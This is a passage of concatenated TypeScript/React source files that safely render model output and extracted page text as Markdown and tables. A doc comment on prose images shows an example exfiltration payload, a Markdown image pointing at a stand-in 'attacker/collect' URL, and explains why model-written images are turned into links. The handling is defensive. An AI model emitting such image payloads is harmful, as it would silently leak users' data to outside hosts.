which is still the author's link text.\n * With no citations given, the text is rendered as it always was.\n */\nfunction CitedText({ text }: { text: string }) {\n const citations = React.use(CitationsContext);\n const insideLink = React.use(InsideLinkContext);\n if (!citations || insideLink) return <>{text}</>;\n return (\n <>\n {splitCitations(text).map((segment, index) => {\n const target = 'citation' in segment ? citations(segment.citation) : undefined;\n // Checked here too, whoever answered: only a web address is followed.\n const href = target ? webHref(target.href) : undefined;\n if (!target || !href) return <React.Fragment key={index}>{segment.text}</React.Fragment>;\n return (\n <a\n key={index}\n href={href}\n target=\"_blank\"\n // `noreferrer` as well as `noopener`, as every link here carries.\n rel=\"noopener noreferrer\"\n title={target.label}\n // A hair of margin, so the underlines of a run like `[2][3]` read\n // as two links rather than one.\n className={cn(\n 'mx-px whitespace-nowrap rounded-sm underline underline-offset-2',\n focusOutlineClass,\n )}\n >\n {segment.text}\n </a>\n );\n })}\n </>\n );\n}\n\n/**\n * An image in model output, which by default is a link rather than a fetch.\n *\n * `![](https://attacker/collect?…)` is a request the browser makes as the result\n * is PAINTED — before anyone has read a word, with no click and no consent — so\n * a view whose entire content is model output had an open channel in it. As a\n * link, the alt text (or the URL, when the model wrote no alt) still says what\n * the model put there, and the fetch waits for a reader who wants it.\n *\n * A host that knows where its prose images come from opts in with\n * `proseImages: 'load'`. Either way the scheme must be `http:` or `https:`: a\n * `data:` image is refused outright even for a type the file arms would paint,\n * because a model's answer is not where an inline image arrives.\n *\n * **Inside a link it stays text, because `[![alt](img)](href)` is a link token\n * holding an image token** — the linked-thumbnail spelling, which models write\n * constantly. An anchor inside an anchor is not valid HTML: the parser un-nests\n * the pair into siblings, so a server-rendered page and the hydrated tree\n * disagree, and the link the author wrote points at the image instead of the\n * destination. An `<img>` nests inside an anchor perfectly well, so only the\n * link arm has to care.\n */\nfunction ProseImage({ token }: { token: Tokens.Image }) {\n const mode = React.use(ProseImagesContext);\n const insideLink = React.use(InsideLinkContext);\n const src = proseImageUrl(token.href);\n // A refused scheme keeps its TEXT, exactly as a refused link does: dropping\n // the element and dropping the words are different things.\n if (!src) return <>{token.text}</>;\n if (mode === 'load') {\n return (\n <img\n src={src}\n alt={token.text}\n referrerPolicy=\"no-referrer\"\n className=\"max-w-full rounded-md\"\n />\n );\n }\n // The enclosing anchor already carries a destination and a click; this is its\n // label. Falling back to the URL keeps that label from being empty.\n if (insideLink) return <>{token.text || src}</>;\n return (\n <a\n href={src}\n target=\"_blank\"\n rel=\"noreferrer noopener\"\n className={cn('rounded-sm underline underline-offset-2', focusOutlineClass)}\n >\n {token.text || src}\n </a>\n );\n}\n\n/**\n * Whether the walker is already inside an anchor.\n *\n * A context for the same reason the policy above is one: `Block`, `Inline` and\n * `InlineToken` recurse through each other, and a flag only the `image` arm\n * reads would otherwise sit in every signature in the file.\n */\nconst InsideLinkContext = React.createContext(false);\n\n/** An image URL a prose value may reach: the two network schemes, nothing else. */\nfunction proseImageUrl(href: string): string | undefined {\n const url = viewableUrl(href);\n // Narrower than the kernel gate on purpose. `viewableUrl` also accepts a\n // same-origin path, a `blob:` and an allow-listed `data:` - none of which a\n // model's prose has any business naming.\n return url && /^https?:/.test(url) ? url : undefined;\n}\n\n/**\n * A `javascript:` href is an execution path; only these are followed.\n *\n * Link policy is deliberately wider than image policy, because a link needs a\n * CLICK. Which hosts a reader may be sent to is the host's allow-list to keep,\n * not this package's.\n */\nfunction safeHref(href: string): string | undefined {\n const trimmed = href.trim();\n if (/^(https?:|mailto:)/i.test(trimmed)) return trimmed;\n // A fragment names a position in THIS document and carries no scheme at all.\n if (trimmed.startsWith('#')) return trimmed;\n // A path looks same-origin and need not be: `//host/x` is protocol-relative,\n // and the URL parser reads `/\\host/x` the same way. The kernel gate settles it\n // by resolving against a sentinel origin and asking whether it stayed there,\n // which is one rule where this file used to have a prefix test that passed\n // both spellings.\n if (trimmed.startsWith('/')) return viewableUrl(trimmed);\n return undefined;\n}\n\nfunction alignOf(\n align: 'center' | 'left' | 'right' | null | undefined,\n): React.CSSProperties | undefined {\n return align ? { textAlign: align } : undefined;\n}\n\nfunction rawOf(token: Token): string {\n return 'raw' in token && typeof token.raw === 'string' ? token.raw : '';\n}\n\n/**\n * The lexer HTML-escapes text for its own HTML output, so `&amp;` and `&lt;`\n * arrive here already escaped. React escapes again on the way to the DOM, so\n * without this an ampersand in the source would be displayed as `&amp;`.\n */\nconst ENTITIES: Record<string, string> = {\n '&amp;': '&',\n '&lt;': '<',\n '&gt;': '>',\n '&quot;': '\"',\n '&#39;': \"'\",\n '&#x27;': \"'\",\n};\n\nfunction decode(text: string): string {\n return text.replace(/&(?:amp|lt|gt|quot|#39|#x27);/g, (entity) => ENTITIES[entity] ?? entity);\n}\n","'use client';\n\nimport type { ExtractedSegment, ExtractedTable } from './extracted-text';\nimport { useFieldStrings } from './field-strings';\nimport { Markdown } from './markdown';\nimport { focusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\n/**\n * One extracted page's text, typeset: Markdown where the extractor wrote\n * Markdown, a table where it wrote a `<table>`, and nothing where it wrote a\n * comment. It draws the segments `splitExtractedText` read, which hold text\n * and never markup to render, so every cell reaches the DOM as a text child.\n * The caller splits, because whether a page has any text to show at all is\n * the same reading. See `./extracted-text` for what is read and why nothing is\n * injected.\n */\nexport function ExtractedPageText({ segments }: { segments: readonly ExtractedSegment[] }) {\n return (\n <div className=\"space-y-2\">\n {segments.map((segment, index) =>\n segment.kind === 'markdown' ? (\n <Markdown key={index} text={segment.text} />\n ) : (\n <ExtractedTableView key={index} table={segment.table} />\n ),\n )}\n </div>\n );\n}\n\n/**\n * A table read out of a page, drawn as the Markdown walker draws a table, so\n * an extracted table and a model's table read the same. Header rows at the top\n * are the table's head; a header cell further down heads its row.\n *\n * The box scrolls sideways rather than widening the panel, like every table in\n * the result view, so it is a named, focusable group: a scrollable region a\n * keyboard cannot reach is an accessibility failure. It is named by its\n * caption, or by `extractedTable` when the page gave it none.\n */\nfunction ExtractedTableView({ table }: { table: ExtractedTable }) {\n const s = useFieldStrings();\n const headRows = leadingHeaderRows(table);\n const head = table.rows.slice(0, headRows);\n const body = table.rows.slice(headRows);\n return (\n <figure className=\"space-y-1.5\">\n {table.caption && (\n <figcaption className=\"text-[12.5px] text-muted-foreground\">{table.caption}</figcaption>\n )}\n {table.rows.length > 0 && (\n <div\n role=\"group\"\n aria-label={table.caption ?? s.extractedTable}\n tabIndex={0}\n className={cn('overflow-x-auto rounded-lg border border-border', focusOutlineClass)}\n >\n <table className=\"min-w-full border-collapse text-[12.5px] text-foreground\">\n {head.length > 0 && (\n <thead>\n {head.map((row, rowIndex) => (\n <tr key={rowIndex} className=\"border-b border-border bg-card/40\">\n {row.map((cell, cellIndex) => (\n <th\n key={cellIndex}\n scope=\"col\"\n {...spans(cell)}\n className=\"whitespace-pre-line px-2.5 py-1.5 text-start align-bottom font-semibold\"\n >\n {cell.text}\n </th>\n ))}\n </tr>\n ))}\n </thead>\n )}\n <tbody>\n {body.map((row, rowIndex) => (\n <tr key={rowIndex} className=\"border-b border-border/60 last:border-b-0\">\n {row.map((cell, cellIndex) =>\n cell.header ? (\n <th\n key={cellIndex}\n scope=\"row\"\n {...spans(cell)}\n className=\"whitespace-pre-line px-2.5 py-1.5 text-start align-top font-semibold\"\n >\n {cell.text}\n </th>\n ) : (\n <td\n key={cellIndex}\n {...spans(cell)}\n className=\"whitespace-pre-line px-2.5 py-1.5 align-top\"\n >\n {cell.text}\n </td>\n ),\n )}\n </tr>\n ))}\n </tbody>\n </table>\n </div>\n )}\n </figure>\n );\n}\n\n/** How many rows at the top hold header cells only: the table's head. */\nfunction leadingHeaderRows(table: ExtractedTable): number {\n let count = 0;\n for (const row of table.rows) {\n if (!row.every((cell) => cell.header)) break;\n count += 1;\n }\n // A table of header cells alone has no body to head; its rows are its body.\n return count === table.rows.length ? 0 : count;\n}\n\nfunction spans(cell: { colSpan?: number; rowSpan?: number }) {\n return {\n ...(cell.colSpan !== undefined ? { colSpan: cell.colSpan } : {}),\n ...(cell.rowSpan !== undefined ? { rowSpan: cell.rowSpan } : {}),\n };\n}\n","import { ownProp } from '../core/own-property';\n\n/**\n * The named character references of HTML 4, the set a document extractor\n * realistically writes into a table cell: Latin-1 (`&eacute;`, `&nbsp;`),\n * the typographic and special marks (`&euro;`, `&mdash;`, `&rsquo;`), and the\n * symbols and Greek letters (`&alpha;`, `&le;`, `&rarr;`). Each name maps to\n * its code point.\n *\n * Kept as data rather than taken from a dependency: the full HTML5 table is\n * many times larger, nearly all of its names are ones no extractor emits, and\n * the dependency budget (`docs/dependency-budget.md`) is a hard list. Names are\n * case-sensitive, as HTML's are (`&Eacute;` is not `&eacute;`), so the table\n * also carries `apos` and the uppercase spellings HTML5 accepts for the\n * commonest marks. A name not listed here is left as written.\n *\n * The names and code points are HTML 4.01's own entity sets (`HTMLlat1`,\n * `HTMLspecial`, `HTMLsymbol`), unchanged.\n */\nexport const HTML_NAMED_ENTITIES: Readonly<Record<string, number>> = {\n // The XML marks, their legacy uppercase spellings, and the special marks.\n apos: 0x0027,\n AMP: 0x0026,\n LT: 0x003c,\n GT: 0x003e,\n QUOT: 0x0022,\n COPY: 0x00a9,\n REG: 0x00ae,\n quot: 0x0022,\n amp: 0x0026,\n lt: 0x003c,\n gt: 0x003e,\n OElig: 0x0152,\n oelig: 0x0153,\n Scaron: 0x0160,\n scaron: 0x0161,\n Yuml: 0x0178,\n circ: 0x02c6,\n tilde: 0x02dc,\n ensp: 0x2002,\n emsp: 0x2003,\n thinsp: 0x2009,\n zwnj: 0x200c,\n zwj: 0x200d,\n lrm: 0x200e,\n rlm: 0x200f,\n ndash: 0x2013,\n mdash: 0x2014,\n lsquo: 0x2018,\n rsquo: 0x2019,\n sbquo: 0x201a,\n ldquo: 0x201c,\n rdquo: 0x201d,\n bdquo: 0x201e,\n dagger: 0x2020,\n Dagger: 0x2021,\n permil: 0x2030,\n lsaquo: 0x2039,\n rsaquo: 0x203a,\n euro: 0x20ac,\n // Latin-1.\n nbsp: 0x00a0,\n iexcl: 0x00a1,\n cent: 0x00a2,\n pound: 0x00a3,\n curren: 0x00a4,\n yen: 0x00a5,\n brvbar: 0x00a6,\n sect: 0x00a7,\n uml: 0x00a8,\n copy: 0x00a9,\n ordf: 0x00aa,\n laquo: 0x00ab,\n not: 0x00ac,\n shy: 0x00ad,\n reg: 0x00ae,\n macr: 0x00af,\n deg: 0x00b0,\n plusmn: 0x00b1,\n sup2: 0x00b2,\n sup3: 0x00b3,\n acute: 0x00b4,\n micro: 0x00b5,\n para: 0x00b6,\n middot: 0x00b7,\n cedil: 0x00b8,\n sup1: 0x00b9,\n ordm: 0x00ba,\n raquo: 0x00bb,\n frac14: 0x00bc,\n frac12: 0x00bd,\n frac34: 0x00be,\n iquest: 0x00bf,\n Agrave: 0x00c0,\n Aacute: 0x00c1,\n Acirc: 0x00c2,\n Atilde: 0x00c3,\n Auml: 0x00c4,\n Aring: 0x00c5,\n AElig: 0x00c6,\n Ccedil: 0x00c7,\n Egrave: 0x00c8,\n Eacute: 0x00c9,\n Ecirc: 0x00ca,\n Euml: 0x00cb,\n Igrave: 0x00cc,\n Iacute: 0x00cd,\n Icirc: 0x00ce,\n Iuml: 0x00cf,\n ETH: 0x00d0,\n Ntilde: 0x00d1,\n Ograve: 0x00d2,\n Oacute: 0x00d3,\n Ocirc: 0x00d4,\n Otilde: 0x00d5,\n Ouml: 0x00d6,\n times: 0x00d7,\n Oslash: 0x00d8,\n Ugrave: 0x00d9,\n Uacute: 0x00da,\n Ucirc: 0x00db,\n Uuml: 0x00dc,\n Yacute: 0x00dd,\n THORN: 0x00de,\n szlig: 0x00df,\n agrave: 0x00e0,\n aacute: 0x00e1,\n acirc: 0x00e2,\n atilde: 0x00e3,\n auml: 0x00e4,\n aring: 0x00e5,\n aelig: 0x00e6,\n ccedil: 0x00e7,\n egrave: 0x00e8,\n eacute: 0x00e9,\n ecirc: 0x00ea,\n euml: 0x00eb,\n igrave: 0x00ec,\n iacute: 0x00ed,\n icirc: 0x00ee,\n iuml: 0x00ef,\n eth: 0x00f0,\n ntilde: 0x00f1,\n ograve: 0x00f2,\n oacute: 0x00f3,\n ocirc: 0x00f4,\n otilde: 0x00f5,\n ouml: 0x00f6,\n divide: 0x00f7,\n oslash: 0x00f8,\n ugrave: 0x00f9,\n uacute: 0x00fa,\n ucirc: 0x00fb,\n uuml: 0x00fc,\n yacute: 0x00fd,\n thorn: 0x00fe,\n yuml: 0x00ff,\n // Symbols, mathematical marks and Greek letters.\n fnof: 0x0192,\n Alpha: 0x0391,\n Beta: 0x0392,\n Gamma: 0x0393,\n Delta: 0x0394,\n Epsilon: 0x0395,\n Zeta: 0x0396,\n Eta: 0x0397,\n Theta: 0x0398,\n Iota: 0x0399,\n Kappa: 0x039a,\n Lambda: 0x039b,\n Mu: 0x039c,\n Nu: 0x039d,\n Xi: 0x039e,\n Omicron: 0x039f,\n Pi: 0x03a0,\n Rho: 0x03a1,\n Sigma: 0x03a3,\n Tau: 0x03a4,\n Upsilon: 0x03a5,\n Phi: 0x03a6,\n Chi: 0x03a7,\n Psi: 0x03a8,\n Omega: 0x03a9,\n alpha: 0x03b1,\n beta: 0x03b2,\n gamma: 0x03b3,\n delta: 0x03b4,\n epsilon: 0x03b5,\n zeta: 0x03b6,\n eta: 0x03b7,\n theta: 0x03b8,\n iota: 0x03b9,\n kappa: 0x03ba,\n lambda: 0x03bb,\n mu: 0x03bc,\n nu: 0x03bd,\n xi: 0x03be,\n omicron: 0x03bf,\n pi: 0x03c0,\n rho: 0x03c1,\n sigmaf: 0x03c2,\n sigma: 0x03c3,\n tau: 0x03c4,\n upsilon: 0x03c5,\n phi: 0x03c6,\n chi: 0x03c7,\n psi: 0x03c8,\n omega: 0x03c9,\n thetasym: 0x03d1,\n upsih: 0x03d2,\n piv: 0x03d6,\n bull: 0x2022,\n hellip: 0x2026,\n prime: 0x2032,\n Prime: 0x2033,\n oline: 0x203e,\n frasl: 0x2044,\n image: 0x2111,\n weierp: 0x2118,\n real: 0x211c,\n trade: 0x2122,\n alefsym: 0x2135,\n larr: 0x2190,\n uarr: 0x2191,\n rarr: 0x2192,\n darr: 0x2193,\n harr: 0x2194,\n crarr: 0x21b5,\n lArr: 0x21d0,\n uArr: 0x21d1,\n rArr: 0x21d2,\n dArr: 0x21d3,\n hArr: 0x21d4,\n forall: 0x2200,\n part: 0x2202,\n exist: 0x2203,\n empty: 0x2205,\n nabla: 0x2207,\n isin: 0x2208,\n notin: 0x2209,\n ni: 0x220b,\n prod: 0x220f,\n sum: 0x2211,\n minus: 0x2212,\n lowast: 0x2217,\n radic: 0x221a,\n prop: 0x221d,\n infin: 0x221e,\n ang: 0x2220,\n and: 0x2227,\n or: 0x2228,\n cap: 0x2229,\n cup: 0x222a,\n int: 0x222b,\n there4: 0x2234,\n sim: 0x223c,\n cong: 0x2245,\n asymp: 0x2248,\n ne: 0x2260,\n equiv: 0x2261,\n le: 0x2264,\n ge: 0x2265,\n sub: 0x2282,\n sup: 0x2283,\n nsub: 0x2284,\n sube: 0x2286,\n supe: 0x2287,\n oplus: 0x2295,\n otimes: 0x2297,\n perp: 0x22a5,\n sdot: 0x22c5,\n lceil: 0x2308,\n rceil: 0x2309,\n lfloor: 0x230a,\n rfloor: 0x230b,\n lang: 0x2329,\n rang: 0x232a,\n loz: 0x25ca,\n spades: 0x2660,\n clubs: 0x2663,\n hearts: 0x2665,\n diams: 0x2666,\n};\n\nconst ENTITY = /&(#x[0-9a-f]+|#\\d+|[a-z][a-z0-9]*);/gi;\n\n/**\n * Decode the character references in a stretch of text: every numeric one\n * (`&#8364;`, `&#x20AC;`) and every named one in {@link HTML_NAMED_ENTITIES}.\n * A reference that names no character, or a code point outside Unicode, is\n * left as written.\n */\nexport function decodeHtmlEntities(text: string): string {\n return text.replace(ENTITY, (entity, body: string) => {\n if (body.startsWith('#')) {\n const code =\n body[1] === 'x' || body[1] === 'X' ? parseInt(body.slice(2), 16) : Number(body.slice(1));\n return Number.isInteger(code) && code > 0 && code <= 0x10ffff\n ? String.fromCodePoint(code)\n : entity;\n }\n const code = ownProp(HTML_NAMED_ENTITIES, body);\n return typeof code === 'number' ? String.fromCodePoint(code) : entity;\n });\n}\n","/**\n * An extracted page's text, made readable: its comments dropped, its tables\n * read into a table model and its other markup reduced to text, so the result\n * view can typeset the rest as Markdown and draw the tables as tables.\n *\n * ## Why a page's text needs this and a model's answer does not\n *\n * A document extractor writes Markdown, but not only Markdown. It marks the\n * page's furniture with HTML comments (`<!-- PageHeader=\"Report\" -->`,\n * `<!-- PageNumber=\"1\" -->`), it writes every table as an HTML `<table>`,\n * because a Markdown table cannot hold a caption or a merged cell, and it wraps\n * a figure's caption and text in a `<figure>`. The `Markdown` walker\n * deliberately shows HTML as its own source rather than injecting it (see\n * `./markdown`), so a page used to print its comments, a wall of `<tr>`/`<td>`\n * tags where its tables were, and `<figure>` tags around its figures.\n *\n * The answer is not to inject the markup. The extracted text is data from a\n * document nobody here wrote, and putting it into the host's DOM as HTML would\n * be an injection path. So the tables are READ instead: their rows and cells\n * are taken out as text, and the result view draws a table of its own around\n * them. Nothing here returns markup to render, and nothing that reads this\n * module's output can render one, because a cell is a string and a stretch of\n * Markdown is typeset by a walker that never injects.\n *\n * ## What is read, and what is left alone\n *\n * - **A comment is dropped**, whatever it holds. A comment is by definition not\n * content, and an extractor's comments are page furniture.\n * - **A `<table>` is read**: its `<caption>`, its rows, and each row's `<th>`\n * and `<td>` cells with their `colspan` and `rowspan`. A cell's own markup\n * (`<strong>`, a `<br>`) becomes its text, a line break kept as one, and its\n * character references are decoded (`./html-entities`). Tables are found by\n * counting `<table>` and `</table>` tags, so a table inside a cell does not\n * end its outer table early, and the outer table's rows are read counting\n * them the same way, so a nested row's end does not end the outer row: the\n * nested table is part of the text of the cell holding it, a line for each\n * of its cells, which is readable and never shows a tag.\n * - **Any other HTML element is reduced to its text**: its tags are dropped, a\n * block's tags (`<figure>`, `<figcaption>`, `<p>`, a `<br>`) leaving a line\n * break so its text stays a line of its own, and a `<script>` or a `<style>`\n * is dropped with its content, which is not text a reader reads. So a\n * figure reads as its caption and its text. Inside a row of a Markdown pipe\n * table, where a line break would end the row, such a tag leaves a space\n * instead, so `| Ada | One<br>Two |` stays one row. A table's own tags outside a\n * table that closes, and a tag whose name is not an HTML element's (an\n * autolink such as `<https://…>`, a placeholder such as `<name>`), are left\n * to the walker, which shows them as source: a table whose closing tag never\n * comes is left there rather than guessed at.\n * - **Code is left exactly as written.** A fenced code block and an inline code\n * span are copied through untouched, so a code sample that shows a comment, a\n * `<table>` or a `<figure>` still shows it, and a table or a comment around a\n * fence never ends inside it, so a fence is never split.\n *\n * Patterns are fine here where they are not for a page the view frames\n * (`./markup-storage`), because nothing is executed or fetched on the strength\n * of what they find: the worst a misread can do is draw a cell's text in the\n * wrong cell, or show a tag's text where its markup was.\n */\n\nimport { decodeHtmlEntities } from './html-entities';\n\n/** One cell of an extracted table: its text, whether it is a header cell, and its spans. */\nexport interface ExtractedTableCell {\n text: string;\n header: boolean;\n colSpan?: number;\n rowSpan?: number;\n}\n\n/** A table read out of an extracted page. */\nexport interface ExtractedTable {\n caption?: string;\n rows: readonly (readonly ExtractedTableCell[])[];\n}\n\n/** A stretch of an extracted page: Markdown to typeset, or a table to draw. */\nexport type ExtractedSegment =\n { kind: 'markdown'; text: string } | { kind: 'table'; table: ExtractedTable };\n\n/**\n * Split an extracted page's text into the Markdown around its tables and the\n * tables themselves, in order. Empty stretches are left out, so a page whose\n * text is only comments or empty markup splits into nothing.\n *\n * One pass from left to right, because what a stretch of text is depends on\n * what came before it: a `<table>` inside a code span is code, and a backtick\n * inside a table's cell is a character.\n */\nexport function splitExtractedText(text: string): ExtractedSegment[] {\n const segments: ExtractedSegment[] = [];\n const tableRows = text.includes('|') ? pipeTableRows(text) : [];\n let markdown = '';\n let index = 0;\n while (index < text.length) {\n if (index === 0 || text[index - 1] === '\\n') {\n const fenceEnd = fencedBlockEnd(text, index);\n if (fenceEnd !== undefined) {\n markdown += text.slice(index, fenceEnd);\n index = fenceEnd;\n continue;\n }\n }\n const char = text.charAt(index);\n // An escaped character is literal: `\\`` opens no code span and `\\<` no tag.\n if (char === '\\\\' && ESCAPABLE.test(text.charAt(index + 1))) {\n markdown += text.slice(index, index + 2);\n index += 2;\n continue;\n }\n if (char === '`') {\n const end = codeSpanEnd(text, index);\n markdown += text.slice(index, end);\n index = end;\n continue;\n }\n if (char === '<') {\n const markup = readMarkup(text, index);\n if (markup) {\n if ('table' in markup) {\n pushMarkdown(segments, markdown);\n markdown = '';\n if (markup.table) segments.push({ kind: 'table', table: markup.table });\n } else if (markup.text === '\\n' && within(tableRows, index)) {\n // A line break inside a row of a Markdown table would end the row\n // there, and its cells after it would become a row of their own.\n // The walker has no line break inside a cell, so a space it is.\n markdown += ' ';\n } else {\n markdown += markup.text;\n }\n index = markup.end;\n continue;\n }\n }\n markdown += char;\n index += 1;\n }\n pushMarkdown(segments, markdown);\n return segments;\n}\n\nfunction pushMarkdown(segments: ExtractedSegment[], text: string) {\n if (text.trim() !== '') segments.push({ kind: 'markdown', text });\n}\n\n/** A stretch of the text, from its first character to just before its end. */\ntype Span = readonly [start: number, end: number];\n\nfunction within(spans: readonly Span[], index: number): boolean {\n return spans.some(([start, end]) => index >= start && index < end);\n}\n\n/**\n * The stretches of the text that are the rows of a Markdown pipe table, as\n * GFM reads one: a header row, the delimiter row under it with as many cells\n * (`| --- | :-: |`), then every following line that holds a pipe, up to the\n * first that does not. A table that GFM would continue through a line holding\n * no pipe is cut short there, which leaves that line as it would be anyway.\n */\nfunction pipeTableRows(text: string): Span[] {\n const lines: Span[] = [];\n for (let start = 0; ;) {\n const newline = text.indexOf('\\n', start);\n lines.push([start, newline === -1 ? text.length : newline]);\n if (newline === -1) break;\n start = newline + 1;\n }\n const lineAt = (at: number) => {\n const [start, end] = lines[at] ?? [0, 0];\n return text.slice(start, end);\n };\n const rows: Span[] = [];\n for (let at = 1; at < lines.length; at += 1) {\n const header = lineAt(at - 1);\n const delimiter = lineAt(at);\n if (!header.includes('|') || !isDelimiterRow(delimiter)) continue;\n if (rowCells(header).length !== rowCells(delimiter).length) continue;\n let last = at;\n while (last + 1 < lines.length && lineAt(last + 1).includes('|')) last += 1;\n rows.push([lines[at - 1]?.[0] ?? 0, lines[last]?.[1] ?? text.length]);\n at = last;\n }\n return rows;\n}\n\n/** A table row's cells: the line between its outer pipes, split at every pipe not escaped. */\nfunction rowCells(line: string): string[] {\n let row = line.trim();\n if (row.startsWith('|')) row = row.slice(1);\n if (row.endsWith('|') && !row.endsWith('\\\\|')) row = row.slice(0, -1);\n // Walked rather than split with a lookbehind, which an older engine refuses\n // to parse at all, taking the whole entry down with it.\n const cells: string[] = [];\n let cell = '';\n for (let at = 0; at < row.length; at += 1) {\n const char = row.charAt(at);\n if (char === '\\\\') {\n cell += row.slice(at, at + 2);\n at += 1;\n } else if (char === '|') {\n cells.push(cell);\n cell = '';\n } else {\n cell += char;\n }\n }\n cells.push(cell);\n return cells;\n}\n\n/** A delimiter row: a pipe, and cells of dashes with an optional colon at either end. */\nfunction isDelimiterRow(line: string): boolean {\n return line.includes('|') && rowCells(line).every((cell) => /^\\s*:?-+:?\\s*$/.test(cell));\n}\n\n/** ASCII punctuation: the characters a backslash makes literal in Markdown. */\nconst ESCAPABLE = /^[\\x21-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\x7e]$/;\n\n/** A fence's opening line: its indentation, its marker, and its info string. */\nconst FENCE_OPEN = /[ \\t]*(`{3,}|~{3,})([^\\n]*)/y;\n/** Any line that could open a fence, for the searches that must step over one. */\nconst FENCE_LINE = /^[ \\t]*(?:`{3,}|~{3,})/gm;\n\n/**\n * Where a fenced code block opening at `start`, a line's start, ends: just\n * past its closing fence's line, or the end of the text when it never closes,\n * as CommonMark has it. `undefined` when no fence opens there. A backtick\n * fence's info string holds no backtick, so a line that does opens inline code\n * instead.\n */\nfunction fencedBlockEnd(text: string, start: number): number | undefined {\n FENCE_OPEN.lastIndex = start;\n const open = FENCE_OPEN.exec(text);\n if (!open) return undefined;\n const marker = open[1] ?? '';\n const fenceChar = marker.charAt(0);\n if (fenceChar === '`' && (open[2] ?? '').includes('`')) return undefined;\n let lineEnd = text.indexOf('\\n', start);\n while (lineEnd !== -1) {\n const next = text.indexOf('\\n', lineEnd + 1);\n const end = next === -1 ? text.length : next;\n const line = text.slice(lineEnd + 1, end).trim();\n if (line.length >= marker.length && [...line].every((c) => c === fenceChar)) return end;\n lineEnd = next;\n }\n return text.length;\n}\n\n/** A blank line, which no code span crosses. */\nconst BLANK_LINE = /\\n[ \\t]*\\n/g;\n\n/**\n * Where a code span opening at `start` ends: past the next run of exactly as\n * many backticks, within its paragraph. A run that nothing closes is literal\n * backticks, and the scan goes on after it.\n */\nfunction codeSpanEnd(text: string, start: number): number {\n const open = backtickRun(text, start);\n BLANK_LINE.lastIndex = start;\n const blank = BLANK_LINE.exec(text);\n const limit = blank ? blank.index : text.length;\n let cursor = start + open;\n for (;;) {\n const next = text.indexOf('`', cursor);\n if (next === -1 || next >= limit) return start + open;\n const length = backtickRun(text, next);\n if (length === open) return next + length;\n cursor = next + length;\n }\n}\n\nfunction backtickRun(text: string, start: number): number {\n let end = start;\n while (text.charAt(end) === '`') end += 1;\n return end - start;\n}\n\n/**\n * The first match of a global `pattern` at or after `from` that is not inside a\n * fenced code block: what a comment's end and a table's closing tag are\n * searched with, so neither can end inside a fence and split it.\n */\nfunction nextOutsideFences(text: string, from: number, pattern: RegExp): RegExpExecArray | null {\n let cursor = from;\n for (;;) {\n pattern.lastIndex = cursor;\n const match = pattern.exec(text);\n if (!match) return null;\n FENCE_LINE.lastIndex = cursor;\n const fence = FENCE_LINE.exec(text);\n if (!fence || fence.index >= match.index) return match;\n cursor = fencedBlockEnd(text, fence.index) ?? fence.index + fence[0].length;\n }\n}\n\nconst COMMENT = /<!--[\\s\\S]*?-->/g;\nconst COMMENT_END = /-->/g;\nconst TABLE_OPEN = /<table\\b[^>]*>/iy;\nconst TABLE_TAG = /<(\\/?)table\\b[^>]*>/gi;\n/** An HTML tag: its closing slash, its name, and its attributes up to the `>`. */\nconst HTML_TAG = /<(\\/?)([a-z][a-z0-9]*)(?=[\\s/>])[^<>]*>/iy;\n\n/**\n * The elements whose tags leave a line break when dropped, so their text stays\n * a line of its own: the block elements an extractor or a web page writes.\n */\nconst BLOCK_ELEMENTS: ReadonlySet<string> = new Set([\n 'address',\n 'article',\n 'aside',\n 'blockquote',\n 'body',\n 'br',\n 'center',\n 'dd',\n 'details',\n 'dialog',\n 'div',\n 'dl',\n 'dt',\n 'fieldset',\n 'figcaption',\n 'figure',\n 'footer',\n 'form',\n 'h1',\n 'h2',\n 'h3',\n 'h4',\n 'h5',\n 'h6',\n 'head',\n 'header',\n 'hgroup',\n 'hr',\n 'html',\n 'legend',\n 'li',\n 'main',\n 'nav',\n 'ol',\n 'option',\n 'p',\n 'pre',\n 'section',\n 'summary',\n 'title',\n 'ul',\n]);\n\n/** The elements whose tags are dropped with nothing in their place: text-level markup. */\nconst INLINE_ELEMENTS: ReadonlySet<string> = new Set([\n 'a',\n 'abbr',\n 'b',\n 'bdi',\n 'bdo',\n 'big',\n 'cite',\n 'code',\n 'data',\n 'del',\n 'dfn',\n 'em',\n 'font',\n 'i',\n 'img',\n 'ins',\n 'kbd',\n 'label',\n 'mark',\n 'picture',\n 'q',\n 's',\n 'samp',\n 'small',\n 'source',\n 'span',\n 'strike',\n 'strong',\n 'sub',\n 'sup',\n 'time',\n 'tt',\n 'u',\n 'var',\n 'wbr',\n]);\n\n/** The elements whose content is not text a reader reads, dropped with their tags. */\nconst RAW_TEXT_ENDS: ReadonlyMap<string, RegExp> = new Map([\n ['script', /<\\/script\\s*>/gi],\n ['style', /<\\/style\\s*>/gi],\n]);\n\n/** What a `<` turned out to open: text to keep in the Markdown, or a table read whole. */\ntype Markup = { end: number; text: string } | { end: number; table: ExtractedTable | undefined };\n\n/**\n * Read the markup a `<` at `start` opens: a comment, a table, or a tag. A table\n * is read whole; a comment is dropped; an HTML element's tag is reduced to the\n * line break or the nothing it stands for. `undefined` for anything else, which\n * stays in the text as written: an unclosed comment or table, a table's own\n * tags outside one, and a name that is not an HTML element's.\n */\nfunction readMarkup(text: string, start: number): Markup | undefined {\n if (text.startsWith('<!--', start)) {\n const close = nextOutsideFences(text, start + 4, COMMENT_END);\n return close ? { end: close.index + close[0].length, text: '' } : undefined;\n }\n TABLE_OPEN.lastIndex = start;\n if (TABLE_OPEN.test(text)) {\n const end = tableEnd(text, start);\n if (end === undefined) return undefined;\n return { end, table: readTable(text.slice(start, end).replace(COMMENT, '')) };\n }\n HTML_TAG.lastIndex = start;\n const tag = HTML_TAG.exec(text);\n if (!tag) return undefined;\n const closing = tag[1] === '/';\n const name = (tag[2] ?? '').toLowerCase();\n const end = start + tag[0].length;\n const rawTextEnd = closing ? undefined : RAW_TEXT_ENDS.get(name);\n if (rawTextEnd) {\n rawTextEnd.lastIndex = end;\n const close = rawTextEnd.exec(text);\n return { end: close ? close.index + close[0].length : end, text: '\\n' };\n }\n if (RAW_TEXT_ENDS.has(name) || BLOCK_ELEMENTS.has(name)) return { end, text: '\\n' };\n if (INLINE_ELEMENTS.has(name)) return { end, text: '' };\n return undefined;\n}\n\n/**\n * Where the table whose opening tag is at `start` ends, counting its nested\n * tables: just past the `</table>` that closes it, or `undefined` when none\n * does. A tag inside a fenced code block is not counted.\n */\nfunction tableEnd(text: string, start: number): number | undefined {\n let depth = 0;\n let cursor = start;\n for 